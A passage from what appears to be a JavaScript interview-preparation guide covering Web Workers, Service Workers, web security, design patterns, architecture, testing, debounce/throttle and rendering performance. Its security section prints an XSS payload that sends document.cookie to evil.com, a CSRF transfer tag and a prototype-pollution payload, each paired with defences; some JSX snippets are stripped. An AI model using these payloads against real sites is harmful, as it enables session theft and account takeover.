worker.postMessage(buffer, [buffer]); // transfer, not copy
console.log(buffer.byteLength); // 0 — ownership transferred!

// Worker
self.onmessage = (event) => {
    const buffer = event.data; // received without copying
    const view = new Float64Array(buffer);
    // Process data...
    self.postMessage(buffer, [buffer]); // transfer back
};

// ── Module Worker (ES modules in workers) ──
const moduleWorker = new Worker("worker.js", { type: "module" });

// worker.js (module worker)
import { processImage } from "./image-utils.js";

self.onmessage = async (event) => {
    const result = await processImage(event.data);
    self.postMessage(result);
};

// ── Worker pool pattern ──
class WorkerPool {
    constructor(workerScript, size = navigator.hardwareConcurrency || 4) {
        this.workers = Array.from({ length: size }, () => new Worker(workerScript));
        this.queue = [];
        this.available = [...this.workers];
    }

    runTask(data) {
        return new Promise((resolve, reject) => {
            const task = { data, resolve, reject };

            if (this.available.length > 0) {
                this.dispatch(this.available.pop(), task);
            } else {
                this.queue.push(task); // wait for available worker
            }
        });
    }

    dispatch(worker, task) {
        worker.onmessage = (e) => {
            task.resolve(e.data);
            this.available.push(worker);
            if (this.queue.length > 0) {
                this.dispatch(this.available.pop(), this.queue.shift());
            }
        };
        worker.onerror = (e) => task.reject(e);
        worker.postMessage(task.data);
    }

    terminate() {
        this.workers.forEach(w => w.terminate());
    }
}

// Usage:
// const pool = new WorkerPool("compute.js", 4);
// const results = await Promise.all(
//     chunks.map(chunk => pool.runTask(chunk))
// );

A photo editing web app used the main thread for image filters, causing the UI to freeze for 3-5 seconds per operation. Moving filter computation to a Web Worker pool (4 workers, one per CPU core) reduced perceived processing time to 0.8 seconds while keeping the UI fully responsive — users could adjust settings during processing.

Web Workers run JS in background threads — use them for CPU-intensive tasks (parsing, compression, image processing). Communicate via postMessage. Transfer ArrayBuffers for zero-copy performance. Workers can't access the DOM. Use a worker pool for parallel processing.
⚠️ Common Mistake

Candidates try to access the DOM from a worker or send non-cloneable objects:

❌ Wrong — DOM access in worker
// worker.js
self.onmessage = () => {
    document.getElementById("result").textContent = "Done";
    // ReferenceError: document is not defined
    // Workers have NO DOM access!
};
✅ Correct — compute in worker, update DOM in main thread
// worker.js
self.onmessage = (e) => {
    const result = heavyComputation(e.data);
    self.postMessage(result); // send result back
};

// main.js
worker.onmessage = (e) => {
    document.getElementById("result").textContent = e.data; // DOM update here
};
🔁 Follow-Up Question

What is SharedArrayBuffer and Atomics? How do they enable shared memory between threads?

31 Explain Service Workers and the Cache API for offline-first apps. experienced

A Service Worker is a script that runs in the background, separate from the web page. It acts as a programmable network proxy — intercepting network requests and deciding how to respond (network, cache, or custom response). This enables offline-first experiences, push notifications, and background sync.

Service Worker lifecycle: RegisterInstall (pre-cache assets) → Activate (clean old caches) → Fetch (intercept requests). Once installed, it persists across page reloads and works even when the page is closed.

The Cache API (caches.open(), cache.put(), cache.match()) stores request/response pairs. Combined with Service Workers, you can implement strategies like Cache First, Network First, Stale While Revalidate, and Cache Only.

// ── Registration (main.js) ──
if ("serviceWorker" in navigator) {
    navigator.serviceWorker.register("/sw.js", { scope: "/" })
        .then(reg => console.log("SW registered:", reg.scope))
        .catch(err => console.error("SW registration failed:", err));
}

// ── Service Worker (sw.js) ──
const CACHE_NAME = "app-v2";
const STATIC_ASSETS = [
    "/",
    "/index.html",
    "/styles.css",
    "/app.js",
    "/offline.html",
    "/icons/logo-192.png",
];

// ── Install: pre-cache static assets ──
self.addEventListener("install", (event) => {
    event.waitUntil(
        caches.open(CACHE_NAME)
            .then(cache => cache.addAll(STATIC_ASSETS))
            .then(() => self.skipWaiting()) // activate immediately
    );
});

// ── Activate: clean up old caches ──
self.addEventListener("activate", (event) => {
    event.waitUntil(
        caches.keys().then(keys =>
            Promise.all(
                keys
                    .filter(key => key !== CACHE_NAME)
                    .map(key => caches.delete(key))
            )
        ).then(() => self.clients.claim()) // take control of pages
    );
});

// ── Fetch: intercept network requests ──
self.addEventListener("fetch", (event) => {
    const { request } = event;

    // Strategy 1: Cache First (for static assets)
    if (request.destination === "image" || request.url.includes("/static/")) {
        event.respondWith(
            caches.match(request)
                .then(cached => cached || fetch(request).then(response => {
                    const clone = response.clone();
                    caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
                    return response;
                }))
        );
        return;
    }

    // Strategy 2: Network First (for API calls)
    if (request.url.includes("/api/")) {
        event.respondWith(
            fetch(request)
                .then(response => {
                    const clone = response.clone();
                    caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
                    return response;
                })
                .catch(() => caches.match(request)) // fallback to cache
        );
        return;
    }

    // Strategy 3: Stale While Revalidate (for HTML pages)
    event.respondWith(
        caches.match(request).then(cached => {
            const fetchPromise = fetch(request).then(response => {
                const clone = response.clone();
                caches.open(CACHE_NAME).then(cache => cache.put(request, clone));
                return response;
            });
            return cached || fetchPromise; // serve cache immediately, update in background
        }).catch(() => caches.match("/offline.html"))
    );
});

// ── Caching strategies summary ──
// | Strategy              | Use Case              | Behavior                        |
// |-----------------------|-----------------------|---------------------------------|
// | Cache First           | Static assets, fonts  | Cache → network (if miss)       |
// | Network First         | API data, dynamic     | Network → cache (if offline)    |
// | Stale While Revalidate| HTML pages            | Cache now, update in background |
// | Cache Only            | Pre-cached assets     | Cache only, never network       |
// | Network Only          | Analytics, logs       | Network only, never cache       |

A field service app used by technicians in remote areas implemented Service Workers with a Cache First strategy for the UI and Network First for work orders. Technicians could view and update work orders offline, with changes syncing automatically when connectivity returned. The app worked in 15-second connectivity windows in underground facilities.

Service Workers are programmable network proxies for offline-first apps. Use Install to pre-cache, Activate to clean old caches, Fetch to intercept requests. Combine with Cache API for strategies: Cache First (static), Network First (API), Stale While Revalidate (pages).
⚠️ Common Mistake

Candidates forget that Service Workers require HTTPS and have a lifecycle with waiting states:

❌ Wrong — expecting immediate activation
// Updated sw.js won't take effect until ALL tabs are closed!
// New SW installs but waits for old SW to release control
// Users don't see updates until they close all tabs
✅ Correct — use skipWaiting + clients.claim
// In install handler:
self.skipWaiting(); // skip waiting, activate immediately

// In activate handler:
self.clients.claim(); // take control of existing pages

// Or prompt user to refresh:
// navigator.serviceWorker.addEventListener("controllerchange", () => {
//     window.location.reload();
// });
🔁 Follow-Up Question

How do you handle Service Worker updates without breaking the user experience?

32 What are the most common security vulnerabilities in JS apps (XSS, CSRF)? experienced

XSS (Cross-Site Scripting): Attacker injects malicious scripts into web pages viewed by other users. Three types: Stored (saved in DB, affects all viewers), Reflected (in URL parameters, affects victims who click the link), and DOM-based (client-side JS inserts untrusted data into the DOM).

CSRF (Cross-Site Request Forgery): Attacker tricks a logged-in user's browser into making unintended requests (e.g., an <img> tag that sends a GET to /api/transfer?amount=10000). The browser automatically includes cookies with the request.

Other risks: prototype pollution (modifying Object.prototype via user input), insecure dependencies (npm supply chain attacks), eval() / innerHTML injection, and open redirects.

// ── XSS: the vulnerability ──
// BAD: inserting user input as HTML
const userInput = '<img src=x onerror="fetch(`https://evil.com/steal?cookie=${document.cookie}`)">'
document.getElementById("output").innerHTML = userInput; // EXECUTES!

// ── XSS Prevention ──
// 1. Use textContent instead of innerHTML
document.getElementById("output").textContent = userInput; // safe — renders as text

// 2. Sanitize HTML if you MUST render it
function sanitizeHTML(str) {
    const div = document.createElement("div");
    div.textContent = str;
    return div.innerHTML; // HTML-encoded
}
// Or use DOMPurify library:
// import DOMPurify from "dompurify";
// element.innerHTML = DOMPurify.sanitize(userInput);

// 3. Content Security Policy (HTTP header)
// Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
// Prevents inline scripts and external script loading

// ── CSRF: the vulnerability ──
// Attacker's page: <img src="https://bank.com/transfer?to=attacker&amount=10000">
// If user is logged into bank.com, browser sends cookies automatically!

// ── CSRF Prevention ──
// 1. CSRF tokens (most common)
async function submitForm(data) {
    const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
    await fetch("/api/transfer", {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "X-CSRF-Token": csrfToken, // server validates this
        },
        body: JSON.stringify(data),
    });
}

// 2. SameSite cookie attribute
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: cookie not sent with cross-site requests
// HttpOnly: cookie not accessible via JavaScript (prevents XSS cookie theft)

// ── Prototype pollution ──
// BAD: merging user input into objects
function merge(target, source) {
    for (const key in source) {
        target[key] = source[key]; // dangerous!
    }
}
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
console.log({}.isAdmin); // true — ALL objects now have isAdmin!

// SAFE: check for dangerous keys
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === "__proto__" || key === "constructor" || key === "prototype") {
            continue; // skip dangerous keys
        }
        target[key] = source[key];
    }
}

// ── eval() and Function() ──
// NEVER use eval with user input
// eval(userInput); // arbitrary code execution!
// new Function(userInput)(); // same risk

// ── npm supply chain security ──
// npm audit — check for known vulnerabilities
// Use lock files (package-lock.json)
// Review new dependencies before installing
// Use npm audit signatures to verify package integrity

A social media platform had a stored XSS vulnerability in user bios. An attacker injected a script that stole session cookies and sent them to an external server, compromising 2,000 accounts in 48 hours. The fix: switching from innerHTML to textContent for user-generated content, adding CSP headers, and setting HttpOnly + SameSite=Strict on session cookies.

XSS: never use innerHTML with user data — use textContent. Add CSP headers. CSRF: use CSRF tokens and SameSite cookies. Prototype pollution: validate object keys. Never use eval() with user input. Run npm audit regularly.
⚠️ Common Mistake

Candidates sanitize output but not the right way — encoding for wrong context:

❌ Wrong — HTML encoding in JavaScript context
// User input goes into a script tag
const username = "<script>alert(1)</script>"; // HTML-encoded
// But in JS context:
const script = ``;
// The encoding doesn't help in JS context!
✅ Correct — encode for the right context
// HTML context → HTML encode
element.textContent = userInput;

// URL context → URL encode
const url = `/search?q=${encodeURIComponent(userInput)}`;

// JS context → avoid entirely, use data attributes
// 
+ element.dataset.name
🔁 Follow-Up Question

What is Content Security Policy (CSP) and how do you configure it?

33 What design patterns are commonly used in JavaScript? experienced

Design patterns are reusable solutions to common software problems. JavaScript's flexibility (first-class functions, closures, prototypes) means many classical OOP patterns are simpler or unnecessary, while some patterns are uniquely powerful.

Most important patterns: Module (encapsulation via closures/ES modules), Observer/PubSub (event-driven communication), Factory (object creation without new), Singleton (single instance), Strategy (swappable algorithms), Decorator (add behaviour without modification), and Middleware (pipeline processing).

Anti-patterns to avoid: God objects, excessive inheritance (prefer composition), callback hell, and over-engineering with patterns that add complexity without value.

// ── Module Pattern (encapsulation) ──
const AuthModule = (() => {
    let token = null; // private

    return {
        login(credentials) {
            token = authenticate(credentials);
            return !!token;
        },
        getToken() { return token; },
        logout() { token = null; },
    };
})();

// ── Observer / PubSub (event-driven) ──
class EventEmitter {
    constructor() {
        this.listeners = new Map();
    }
    on(event, callback) {
        if (!this.listeners.has(event)) this.listeners.set(event, []);
        this.listeners.get(event).push(callback);
        return () => this.off(event, callback); // return unsubscribe fn
    }
    off(event, callback) {
        const cbs = this.listeners.get(event);
        if (cbs) this.listeners.set(event, cbs.filter(cb => cb !== callback));
    }
    emit(event, data) {
        (this.listeners.get(event) || []).forEach(cb => cb(data));
    }
}

const bus = new EventEmitter();
const unsub = bus.on("user:login", user => console.log(`Welcome, ${user.name}`));
bus.emit("user:login", { name: "Alice" }); // "Welcome, Alice"
unsub(); // clean up

// ── Factory Pattern (flexible object creation) ──
function createNotification(type, message) {
    const base = { id: crypto.randomUUID(), message, timestamp: Date.now() };
    switch (type) {
        case "success": return { ...base, icon: "✅", color: "#22c55e" };
        case "error":   return { ...base, icon: "❌", color: "#ef4444" };
        case "warning": return { ...base, icon: "⚠️", color: "#f59e0b" };
        default:        return { ...base, icon: "ℹ️", color: "#3b82f6" };
    }
}

// ── Strategy Pattern (swappable algorithms) ──
const sortStrategies = {
    price:     (a, b) => a.price - b.price,
    rating:    (a, b) => b.rating - a.rating,
    name:      (a, b) => a.name.localeCompare(b.name),
    relevance: (a, b) => b.score - a.score,
};

function sortProducts(products, strategy = "relevance") {
    return [...products].sort(sortStrategies[strategy]);
}

// ── Middleware Pattern (pipeline) ──
class App {
    constructor() { this.middlewares = []; }
    use(fn) { this.middlewares.push(fn); }

    async handle(request) {
        let index = 0;
        const next = async () => {
            if (index < this.middlewares.length) {
                await this.middlewares[index++](request, next);
            }
        };
        await next();
        return request;
    }
}

const app = new App();
app.use(async (req, next) => { req.startTime = Date.now(); await next(); });
app.use(async (req, next) => { console.log(`${req.method} ${req.url}`); await next(); });
app.use(async (req, next) => { req.user = await authenticate(req); await next(); });

// ── Singleton (single instance) ──
class Database {
    static instance = null;
    static getInstance() {
        if (!Database.instance) {
            Database.instance = new Database();
        }
        return Database.instance;
    }
    constructor() {
        if (Database.instance) throw new Error("Use Database.getInstance()");
        this.connection = null;
    }
}

An analytics SDK used the Observer pattern for event tracking: analytics.on("pageView", handler). This allowed 5 different teams to independently subscribe to events without coupling. The Strategy pattern let customers swap analytics providers (Google Analytics, Mixpanel, custom) with a single config change.

Most-used JS patterns: Module (closures/ESM for encapsulation), Observer/EventEmitter (decoupled communication), Factory (flexible creation), Strategy (swappable algorithms), Middleware (request pipelines). Prefer composition over inheritance.
⚠️ Common Mistake

Candidates over-apply patterns from classical OOP that JavaScript doesn't need:

❌ Wrong — unnecessary AbstractFactoryBuilder in JS
class AbstractNotificationFactory {
    createNotification() { throw new Error("Override me"); }
}
class SuccessNotificationFactory extends AbstractNotificationFactory {
    createNotification(msg) { return new SuccessNotification(msg); }
}
// 50 lines of boilerplate for what should be a function
✅ Correct — JavaScript simplicity with closures/functions
// A simple factory function replaces the entire class hierarchy
const notify = (type, msg) => ({ type, msg, id: crypto.randomUUID() });
notify("success", "Saved!"); // done
🔁 Follow-Up Question

What is the difference between the Observer and PubSub patterns?

34 How do you architect a large-scale JavaScript application? experienced

Large-scale JS architecture focuses on maintainability, scalability, and team productivity. Key principles: clear module boundaries, separation of concerns, dependency management, and established conventions.

Modern approaches: Feature-based folder structure (code organized by feature, not file type), monorepo (shared code across apps with tools like Nx/Turborepo), micro-frontends (independent teams own independent UI modules), and clean architecture layers (UI → Application → Domain → Infrastructure).

Critical decisions: state management strategy, API layer abstraction, error handling boundaries, testing strategy, build/bundle optimization, and CI/CD pipeline design.

// ── Feature-based folder structure ──
// src/
//   features/
//     auth/
//       components/     LoginForm.jsx, SignupForm.jsx
//       hooks/          useAuth.js, useSession.js
//       services/       authApi.js, tokenStorage.js
//       store/          authSlice.js
//       utils/          validation.js
//       __tests__/      auth.test.js
//       index.js        ← public API (barrel file)
//     dashboard/
//       components/     DashboardGrid.jsx, MetricCard.jsx
//       hooks/          useDashboard.js
//       services/       dashboardApi.js
//       index.js
//   shared/
//     components/       Button.jsx, Modal.jsx
//     hooks/            useFetch.js, useDebounce.js
//     utils/            formatters.js, validators.js
//     api/              httpClient.js ← centralized fetch wrapper
//   app/
//     App.jsx           ← root component
//     router.jsx        ← route definitions
//     store.js          ← root store configuration

// ── API layer abstraction ──
// shared/api/httpClient.js
class HttpClient {
    constructor(baseURL) {
        this.baseURL = baseURL;
    }
    async request(endpoint, options = {}) {
        const url = `${this.baseURL}${endpoint}`;
        const config = {
            headers: {
                "Content-Type": "application/json",
                ...this.getAuthHeaders(),
                ...options.headers,
            },
            ...options,
        };
        if (config.body && typeof config.body === "object") {
            config.body = JSON.stringify(config.body);
        }
        const response = await fetch(url, config);
        if (!response.ok) await this.handleError(response);
        return response.json();
    }
    get(endpoint)          { return this.request(endpoint); }
    post(endpoint, body)   { return this.request(endpoint, { method: "POST", body }); }
    put(endpoint, body)    { return this.request(endpoint, { method: "PUT", body }); }
    delete(endpoint)       { return this.request(endpoint, { method: "DELETE" }); }
    getAuthHeaders()       { /* token from storage */ }
    async handleError(res) { /* centralized error handling */ }
}
export const api = new HttpClient("https://api.example.com");

// features/auth/services/authApi.js
import { api } from "../../shared/api/httpClient";
export const authApi = {
    login: (creds) => api.post("/auth/login", creds),
    logout: () => api.post("/auth/logout"),
    getProfile: () => api.get("/auth/profile"),
};

// ── Error boundary strategy ──
// Global error boundary → Feature error boundaries → Component try/catch
// Each level handles what it can, escalates what it can't

// ── Dependency rule ──
// features/ → can import from shared/
// features/ → CANNOT import from other features/
// shared/   → CANNOT import from features/
// This prevents circular dependencies and keeps features independent

A 200-person engineering org migrated their monolithic React app (800K LOC) to a feature-based architecture with Nx monorepo. Build times dropped from 25 minutes to 3 minutes (affected projects only). Teams could deploy features independently, reducing release conflicts by 90%.

Organize by feature, not file type. Abstract the API layer. Enforce dependency rules (features can't import from each other). Use error boundaries at multiple levels. Centralize cross-cutting concerns (auth, logging, error handling) in shared modules.
⚠️ Common Mistake

Candidates organize by file type (all components in one folder, all utils in another), creating navigational nightmares:

❌ Wrong — organized by file type
// src/
//   components/    LoginForm, SignupForm, Dashboard, MetricCard, ... (200 files!)
//   hooks/         useAuth, useDashboard, ... (50 files!)
//   utils/         authValidation, dashboardFormat, ... (80 files!)
// Finding all auth-related code requires searching 3+ folders
✅ Correct — organized by feature
// src/features/auth/     ← everything auth-related is here
//   components/, hooks/, services/, utils/, tests/
// Delete the feature? Delete one folder. Review PR? Check one folder.
🔁 Follow-Up Question

What are micro-frontends and when are they appropriate?

35 What are the differences between testing approaches (unit, integration, E2E)? experienced

The testing pyramid has three levels: Unit tests (fast, many, test individual functions), Integration tests (medium speed, test components working together), and End-to-End (E2E) tests (slow, few, test full user workflows).

Unit tests isolate a single function/component with mocked dependencies. Tools: Jest, Vitest. Integration tests test multiple units working together (e.g., a React component with its hooks and API calls). Tools: React Testing Library, Supertest. E2E tests drive a real browser through user flows. Tools: Playwright, Cypress.

The Testing Trophy (Kent C. Dodds) suggests integration tests give the best ROI — they test real user behaviour without the brittleness of E2E or the false confidence of unit tests that mock everything.

// ── Unit Test (Jest/Vitest) ──
// utils/formatCurrency.js
export function formatCurrency(amount, currency = "USD") {
    return new Intl.NumberFormat("en-US", {
        style: "currency",
        currency,
    }).format(amount);
}

// utils/formatCurrency.test.js
import { describe, it, expect } from "vitest";
import { formatCurrency } from "./formatCurrency";

describe("formatCurrency", () => {
    it("formats USD by default", () => {
        expect(formatCurrency(1234.56)).toBe("$1,234.56");
    });
    it("handles zero", () => {
        expect(formatCurrency(0)).toBe("$0.00");
    });
    it("formats EUR", () => {
        expect(formatCurrency(1000, "EUR")).toContain("1,000.00");
    });
    it("handles negative amounts", () => {
        expect(formatCurrency(-50)).toBe("-$50.00");
    });
});

// ── Integration Test (React Testing Library) ──
// components/LoginForm.test.jsx
import { render, screen, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { LoginForm } from "./LoginForm";
import { api } from "../shared/api/httpClient";

// Mock the API module
vi.mock("../shared/api/httpClient");

describe("LoginForm", () => {
    it("submits credentials and shows welcome message", async () => {
        api.post.mockResolvedValue({ user: { name: "Alice" } });

        render(<LoginForm />);

        await userEvent.type(screen.getByLabelText("Email"), "alice@example.com");
        await userEvent.type(screen.getByLabelText("Password"), "password123");
        await userEvent.click(screen.getByRole("button", { name: "Log In" }));

        await waitFor(() => {
            expect(screen.getByText("Welcome, Alice!")).toBeInTheDocument();
        });

        expect(api.post).toHaveBeenCalledWith("/auth/login", {
            email: "alice@example.com",
            password: "password123",
        });
    });

    it("shows error on invalid credentials", async () => {
        api.post.mockRejectedValue(new Error("Invalid credentials"));
        render(<LoginForm />);

        await userEvent.type(screen.getByLabelText("Email"), "wrong@example.com");
        await userEvent.type(screen.getByLabelText("Password"), "wrong");
        await userEvent.click(screen.getByRole("button", { name: "Log In" }));

        await waitFor(() => {
            expect(screen.getByText(/invalid credentials/i)).toBeInTheDocument();
        });
    });
});

// ── E2E Test (Playwright) ──
// tests/checkout.spec.js
import { test, expect } from "@playwright/test";

test("complete checkout flow", async ({ page }) => {
    await page.goto("/products");

    // Add item to cart
    await page.click("[data-testid='product-1'] .add-to-cart");
    await expect(page.locator(".cart-count")).toHaveText("1");

    // Go to checkout
    await page.click(".checkout-btn");
    await expect(page).toHaveURL("/checkout");

    // Fill shipping info
    await page.fill("#address", "123 Main St");
    await page.fill("#city", "New York");
    await page.selectOption("#state", "NY");

    // Complete purchase
    await page.click("#place-order");
    await expect(page.locator(".confirmation")).toContainText("Order confirmed");
});

A fintech company had 95% unit test coverage but still shipped bugs — the unit tests mocked so heavily they didn't test real behaviour. Shifting to 60% integration tests (React Testing Library) caught 3x more bugs while reducing test code by 40%. E2E tests (Playwright) covered the 5 critical user flows (signup, deposit, transfer, withdraw, close account).

Unit tests: fast, isolated, for pure logic. Integration tests: best ROI, test components together. E2E tests: slow, brittle, for critical paths only. Follow the Testing Trophy: mostly integration, some unit, few E2E. Test behaviour, not implementation.
⚠️ Common Mistake

Candidates test implementation details instead of user behaviour:

❌ Wrong — testing implementation
// Tests internal state, breaks on refactor
test("sets loading to true", () => {
    const { result } = renderHook(() => useAuth());
    act(() => result.current.login(creds));
    expect(result.current.state.isLoading).toBe(true);
    // This breaks if you rename the state variable!
});
✅ Correct — testing user-visible behaviour
// Tests what the user sees, survives refactors
test("shows loading spinner during login", async () => {
    render();
    await userEvent.click(screen.getByRole("button", { name: "Log In" }));
    expect(screen.getByRole("progressbar")).toBeInTheDocument();
    // Doesn't care HOW loading is implemented internally
});
🔁 Follow-Up Question

What is test-driven development (TDD) and when is it practical?

36 Explain debounce and throttle with implementations. performance

Debounce delays execution until a specified time has passed since the last call. If the function is called again during the delay, the timer resets. Use case: search input — only fire API call after the user stops typing.

Throttle ensures a function executes at most once every N milliseconds, regardless of how many times it's called. Use case: scroll handler — execute at most every 100ms, not on every single scroll pixel.

Both are essential for performance — without them, event handlers can fire hundreds of times per second, causing excessive API calls, DOM updates, and CPU usage.

// ── Debounce implementation ──
function debounce(fn, delay) {
    let timeoutId;
    return function(...args) {
        clearTimeout(timeoutId); // reset timer on every call
        timeoutId = setTimeout(() => {
            fn.apply(this, args); // execute after delay with no new calls
        }, delay);
    };
}

// Usage: search input
const searchInput = document.getElementById("search");
const searchAPI = debounce(async (query) => {
    if (query.length < 2) return;
    const results = await fetch(`/api/search?q=${encodeURIComponent(query)}`).then(r => r.json());
    renderResults(results);
}, 300); // only fires 300ms after user STOPS typing

searchInput.addEventListener("input", (e) => searchAPI(e.target.value));
// Typing "react hooks" → 11 keystrokes, but only 1 API call (after 300ms pause)

// ── Throttle implementation ──
function throttle(fn, limit) {
    let inThrottle = false;
    return function(...args) {
        if (!inThrottle) {
            fn.apply(this, args);
            inThrottle = true;
            setTimeout(() => { inThrottle = false; }, limit);
        }
    };
}

// Usage: scroll handler
const handleScroll = throttle(() => {
    const scrollPercentage = (window.scrollY / (document.body.scrollHeight - window.innerHeight)) * 100;
    updateProgressBar(scrollPercentage);

    // Infinite scroll: load more when near bottom
    if (scrollPercentage > 80) {
        loadMoreContent();
    }
}, 100); // fires at most every 100ms

window.addEventListener("scroll", handleScroll);

// ── Advanced debounce with leading/trailing options ──
function advancedDebounce(fn, delay, { leading = false, trailing = true } = {}) {
    let timeoutId;
    let lastArgs;

    return function(...args) {
        const isFirst = !timeoutId && leading;
        lastArgs = args;

        clearTimeout(timeoutId);

        if (isFirst) {
            fn.apply(this, args); // fire immediately on first call
        }

        timeoutId = setTimeout(() => {
            if (trailing && lastArgs) {
                fn.apply(this, lastArgs); // fire on trailing edge
            }
            timeoutId = null;
            lastArgs = null;
        }, delay);
    };
}

// Leading: fire immediately, then ignore for delay
const saveBtn = advancedDebounce(saveDocument, 2000, { leading: true, trailing: false });
// First click saves immediately, additional clicks within 2s are ignored

// ── Comparison ──
// | Pattern  | Fires              | Use Case                          |
// |----------|--------------------|-----------------------------------|
// | Debounce | After pause ends   | Search input, resize, form save   |
// | Throttle | At fixed intervals | Scroll, mousemove, game loop      |
// | Neither  | Every call         | Click handlers, form submit       |

A real-estate site fired API calls on every keystroke in the address search box — 15+ characters per search, causing 15 API calls per search and $3K/month in API costs. Adding a 300ms debounce reduced calls by 92% (from 15 per search to ~1), cutting API costs to $240/month.

Debounce: wait for pause (search, resize, save). Throttle: limit rate (scroll, mousemove). Both prevent excessive function calls. Debounce resets the timer; throttle enforces a minimum interval.
⚠️ Common Mistake

Candidates create a new debounced function on every render (React), defeating the purpose:

❌ Wrong — new debounce instance every render
function SearchBox() {
    const handleSearch = debounce((q) => fetchResults(q), 300);
    // Created fresh every render — timer resets every re-render!
    return  handleSearch(e.target.value)} />;
}
✅ Correct — stable reference with useMemo/useCallback
function SearchBox() {
    const handleSearch = useMemo(
        () => debounce((q) => fetchResults(q), 300),
        [] // stable — same instance across renders
    );
    return  handleSearch(e.target.value)} />;
}
🔁 Follow-Up Question

How do you implement a debounce that can be cancelled? What about requestAnimationFrame-based throttle?

37 How do you optimize rendering performance (reflow, repaint, composite)? performance

Browser rendering pipeline: JavaScriptStyleLayout (Reflow)Paint (Repaint)Composite. Each step is progressively cheaper.

Reflow (layout): recalculates position and size of elements. Triggered by: changing width/height, adding/removing elements, reading layout properties (offsetHeight, getBoundingClientRect). Most expensive.

Repaint: redraws visual properties (color, shadow, visibility) without changing layout. Cheaper than reflow.

Composite: GPU moves existing layers. Triggered by: transform, opacity. Cheapest — doesn't touch the main thread. For smooth 60fps animations, aim for composite-only changes.

// ── BAD: Forced synchronous layout (layout thrashing) ──
const items = document.querySelectorAll(".item");
items.forEach(item => {
    const width = item.offsetWidth;  // READ — forces layout calculation
    item.style.width = width * 2 + "px"; // WRITE — invalidates layout
    // Next iteration: READ forces recalculation again!
    // This is "layout thrashing" — N reflows for N items
});

// ── GOOD: Batch reads, then batch writes ──
const widths = Array.from(items).map(item => item.offsetWidth); // all READs
items.forEach((item, i) => {
    item.style.width = widths[i] * 2 + "px"; // all WRITEs
});
// Only 1 reflow!

// ── Use transform/opacity for animations (composite only) ──
// BAD: animating top/left (triggers reflow every frame)
element.style.top = newY + "px";    // reflow!
element.style.left = newX + "px";   // reflow!

// GOOD: use transform (composite only — GPU accelerated)
element.style.transform = `translate(${newX}px, ${newY}px)`; // no reflow!
element.style.opacity = 0.5; // no reflow, no repaint — composite only

// ── Promote to GPU layer with will-change ──
.animated-element {
    will-change: transform, opacity; /* hint to browser: create GPU layer */
}
/* Remove will-change when animation ends to free GPU memory */

// ── requestAnimationFrame for visual updates ──
function smoothScroll(targetY) {
    const startY = window.scrollY;
    const distance = targetY - startY;
    let startTime = null;

    function step(timestamp) {
        if (!startTime) startTime = timestamp;
        const progress = Math.min((timestamp - startTime) / 500, 1); // 500ms duration
        const eased = progress * (2 - progress); // ease-out

        window.scrollTo(0, startY + distance * eased);

        if (progress < 1) {
            requestAnimationFrame(step); // sync with browser refresh rate
        }
    }
    requestAnimationFrame(step);
}

// ── Virtual scrolling for large lists ──
// Instead of rendering 10,000 DOM nodes:
function virtualList(items, containerHeight, itemHeight) {
    const visibleCount = Math.ceil(containerHeight / itemHeight) + 2; // buffer
    let scrollTop = 0;

    function render() {
        const startIndex = Math.floor(scrollTop / itemHeight);
        const visibleItems = items.slice(startIndex, startIndex + visibleCount);

        container.style.height = items.length * itemHeight + "px";
        container.innerHTML = visibleItems
            .map((item, i) => `<div style="position:absolute;top:${(startIndex + i) * itemHeight}px">${item.name}</div>`)
            .join("");
    }

    container.addEventListener("scroll", () => {
        scrollTop = container.scrollTop;
        requestAnimationFrame(render);
    });
}

// ── DocumentFragment for batch DOM insertion ──
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
    const div = document.createElement("div");
    div.textContent = `Item ${i}`;
    fragment.appendChild(div); // no reflow
}
container.appendChild(fragment); // single reflow

An analytics dashboard rendering 5,000 chart data points had 200ms frame times (5 FPS). Layout thrashing was the cause — each point read getBoundingClientRect() then set position. Batching reads and writes, switching from top/left to transform, and using requestAnimationFrame restored 60fps.

Avoid layout thrashing: batch reads then writes. Use transform/opacity for animations (GPU composite). Use requestAnimationFrame for visual updates. DocumentFragment for batch DOM insertion. Virtual scrolling for large lists. will-change for GPU layer promotion.
⚠️ Common Mistake

Candidates animate width/height/top/left instead of transform:

❌ Wrong — layout-triggering properties
.sidebar {
    transition: left 0.3s; /* triggers reflow every frame */
    left: -250px;
}
.sidebar.open {
    left: 0;
}
✅ Correct — composite-only property
.sidebar {
    transition: transform 0.3s; /* GPU composite — smooth */
    transform: translateX(-100%);
}
.sidebar.open {
    transform: translateX(0);
}
🔁 Follow-Up Question

What are Web Vitals (LCP, FID, CLS) and how do you measure them?

38 What is lazy loading and how do you implement it? performance

Lazy loading defers loading of resources until they're needed. Instead of loading everything upfront (hurting initial page load), resources are loaded on demand — when they enter the viewport, when a user navigates to a route, or when a feature is activated.

Three main types: Image lazy loading (native loading="lazy" or IntersectionObserver), Route-based code splitting (dynamic import() with React.lazy or framework routers), and Component-level lazy loading (load heavy components only when needed).

Benefits: faster initial page load (smaller JS bundle), reduced bandwidth, and better Core Web Vitals scores (especially LCP and FID).

// ── Native image lazy loading (simplest) ──
// <img src="photo.jpg" loading="lazy" alt="Photo" width="400" height="300">
// Browser handles everything — loads image when near viewport

// ── IntersectionObserver for custom lazy loading ──
function lazyLoadImages() {
    const images = document.querySelectorAll("img[data-src]");

    const observer = new IntersectionObserver((entries) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                const img = entry.target;
                img.src = img.dataset.src;         // load real image
                if (img.dataset.srcset) {
                    img.srcset = img.dataset.srcset;
                }
                img.classList.add("loaded");
                observer.unobserve(img);           // stop watching
            }
        });
    }, {
        rootMargin: "200px", // start loading 200px before visible
    });

    images.forEach(img => observer.observe(img));
}

// HTML: <img data-src="photo.jpg" alt="Photo" width="400" height="300">

// ── Route-based code splitting (React) ──
import { lazy, Suspense } from "react";
import { BrowserRouter, Routes, Route } from "react-router-dom";

// Each page loaded only when navigated to
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Settings = lazy(() => import("./pages/Settings"));
